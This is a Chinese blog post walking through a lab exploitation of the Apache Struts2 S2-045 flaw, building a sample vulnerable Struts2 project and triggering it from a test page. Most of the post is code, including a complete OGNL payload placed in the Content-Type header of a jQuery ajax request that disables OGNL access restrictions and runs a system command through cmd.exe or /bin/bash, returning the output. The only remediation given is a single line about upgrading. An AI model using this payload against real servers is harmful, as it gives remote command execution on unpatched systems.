struts2漏洞s2-045漏洞利用测试

矫情吗；* 2022-03-18 09:18 314阅读 0赞

s2-045漏洞是一个可以执行远程命令的漏洞，该漏洞是struts2上传文件使用参数struts.multipart.parser=jakarta，并且文件上传采用了commons-fileupload的api导致的。只是使用struts.multipart.parser=jakarta并不能导致这个问题，需要在请求时，请求头使用Content-Type参数，这个参数必须带上一串奇怪的ognl表达式，这表达式里面就是执行远程命令的。

这里通过ajax模拟请求，并带上Content-Type参数，利用该漏洞调起系统的计算器（windows系统），如果是linux系统，可以考虑获取IP(让ognl表达式执行ifconfig命令)。

构建普通的struts2的maven项目。并编写一个action。

package com.xxx.action;
    import java.io.IOException;
    import java.io.PrintWriter;
    import javax.servlet.http.HttpServletResponse;
    import org.apache.struts2.ServletActionContext;
    public class MainAction {
    	public String doaction() {
    		HttpServletResponse response = ServletActionContext.getResponse();
    		response.setContentType("application/json;charset=UTF-8");
    		PrintWriter out = null;
    		try {
    			 out = response.getWriter();
    			 out.println("{\"code\":200,\"message\":\"ok\"}");
    		} catch (IOException e) {
    			e.printStackTrace();
    		}finally {
    			out.close();
    		}
    		return null;
    	}	
    }

struts.xml配置文件

<?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
    
    <struts>
        <constant name="struts.devMode" value="true"/>
    	<constant name="struts.enable.DynamicMethodInvocation" value="true"/>
    	<constant name="struts.convention.action.mapAllMatches" value="true"/>
    	<constant name="struts.convention.package.locators" value="action"/>
    	<constant name="struts.multipart.saveDir" value="/tmp"></constant>
    	<constant name="struts.objectFactory" value="spring"/>
        <package name="struts2hack" extends="struts-default">
            <action name="index">
            	<result>index.jsp</result>
            </action>
        </package>
    </struts>

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"%>
    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="UTF-8"/>
    	<link rel="stylesheet" type="text/css" href="css/base.css"/>
    	<script type="text/javascript" src="js/libs/jquery-1.12.4.min.js"></script>
    </head>
    <body>
    	<h2>Hello World!</h2>
    	<div class="box"><a href="main!list.action">struts2</a></div>
    	<div class="box">
    		 <input type="button" value="测试漏洞" id="btn-test"/>
    	</div>
    	
    </body>
    <script type="text/javascript">
    $(function(){
      $("#btn-test").click(function(e){
    	$.ajax({
    	 url:"main!doaction.action",
    	 type:"get",
    	 contentType:"%{(#nike='multipart/form-data')"+
    		".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)"+
    		".(#_memberAccess?(#_memberAccess=#dm):"+
    		"((#container=#context[\"com.opensymphony.xwork2.ActionContext.container\"])"+
    		".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))"+
    		".(#ognlUtil.getExcludedPackageNames().clear())"+
    		".(#ognlUtil.getExcludedClasses().clear())"+
    		".(#context.setMemberAccess(#dm))))"+
    		".(#cmd=\"calc\")"+
    		".(#iswin=(@java.lang.System@getProperty(\"os.name\").toLowerCase().contains(\"win\")))"+
    		".(#cmds=(#iswin?{\"cmd.exe\",\"/c\",#cmd}:{\"/bin/bash\",\"-c\",#cmd}))"+
    		".(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))"+
    		".(#process=#p.start())"+
    		".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))"+
    		".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))"+
    		".(#ros.flush())}",
    	 success:function(data){
    	  console.log(data);
    	 }
    	});
      });
    });
    </script>
    </html>

启动tomcat服务器，访问项目首页：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70][]

通过浏览器直接访问接口:http://127.0.0.1:8080/struts2hack/main!doaction.action，正常返回json。

![20190220141541713.png][]

当我们利用漏洞测试，点击首页的“测试漏洞”按钮，会执行远程命令，调起windows下的计算器。

![20190220141720292.gif][]

测试该漏洞，主要需要构造一个content-type的请求头。请求头的内容为:

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 1][]

这是一个利用漏洞测试的例子，至于怎么修复，最好的当然是升级struts2版本。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70]: /images/20220318/cb51719578734701a7b6bd09356c8988.png
[20190220141541713.png]: /images/20220318/7d4b8694e03249919b91325d5541e3eb.png
[20190220141720292.gif]: /images/20220318/b32763942a0240c2afb1859db1b882fb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZlaW5pZmk_size_16_color_FFFFFF_t_70 1]: /images/20220318/879ba636054647fc9dfad4e938a06c81.png